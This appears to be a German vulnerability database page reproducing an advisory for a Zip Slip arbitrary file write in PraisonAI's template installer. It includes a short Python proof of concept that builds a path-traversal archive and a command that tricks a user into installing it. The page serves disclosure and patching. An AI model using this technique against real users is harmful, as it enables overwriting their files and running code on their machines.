Hoch

PraisonAI Has Arbitrary File Write (Zip Slip) in Templates Extraction

  • Veröffentlicht: 06.04.2026
  • Aktualisiert: 11.10.2026 14:17

The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory.

Details

Location: src/praisonai/praisonai/cli/features/templates.py (Line 852)

Vulnerable Code snippet:

python
zip_ref.extractall(tmpdir)

During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using zip_ref.extractall(tmpdir). A specially crafted ZIP archive can contain file entries with relative paths (such as ../../../../tmp/evil.sh). If extracting this archive in older Python versions or environments where extraction rules aren't strict, extractall will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem.

PoC

  1. Generate a malicious zip payload:
python
import zipfile

with zipfile.ZipFile('malicious_template.zip', 'w') as z:
    # Adding a file that traverses directories
    z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip')
  1. Trick a user into installing the malicious template:
bash
praisonai templates install github:attacker/malicious_template
  1. Observe the zip_slip_pwned.txt file created in /tmp/ on the victim's machine.

Impact

This is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) praisonai < 4.5.113 4.5.113

Verweise

CVSS-Wert 8.1/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
Schwäche (CWE)
CWE-22, CWE-23
Plattform
Python (PyPI)
Paket
praisonai
Veröffentlicht
06.04.2026
Aktualisiert
11.10.2026 14:17

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-2899 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-4ph2-f6pf-79wv - CC BY 4.0

Schwachstellenhistorie: praisonai

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (104) im Archiv
Einträge insgesamt
104
Erste → letzte
04.2026 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 27
  • Hoch 60
  • Mittel 17

Veröffentlichungen pro Jahr

  1. 2026: 104
Schweregrad:
  1. PraisonAI Has Arbitrary File Write (Zip Slip) in Templates Extraction dieser Eintrag
    Hoch · 8.1 CVE-2026-39307 < 4.5.113 4.5.113
  2. Hoch · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  3. Hoch · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  4. Hoch · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  5. Kritisch · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  6. Hoch · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  7. Hoch · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
  8. Hoch · 8.3 CVE-2026-56835 >= 3.11.0, < 4.6.59 4.6.59
  9. Hoch · 8.2 CVE-2026-56836 >= 4.5.112, < 4.6.59 4.6.59
  10. Hoch CVE-2026-47397 < 4.6.40 4.6.40
  11. Kritisch · 9.8 CVE-2026-41497 < 4.5.149 4.5.149
Mehr anzeigen (20) 61 von 87 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.